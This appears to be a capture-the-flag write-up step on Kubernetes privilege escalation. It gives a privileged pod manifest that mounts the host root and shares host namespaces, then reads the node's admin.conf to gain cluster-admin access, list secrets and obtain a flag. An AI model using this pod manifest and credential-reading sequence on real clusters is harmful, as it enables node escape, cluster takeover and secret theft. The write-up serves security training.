blob: 32126242aa2f56c0220b6b529a0e3389206b3193 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now.
These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation).
Here is the pod i created:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: busybox
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
```
We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`.
Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin:
```
users:
- name: kubernetes-admin
user:
client-certificate-data: <long base64 string>
client-key-data: <long base64 string>
```
We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A`
We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}`
|
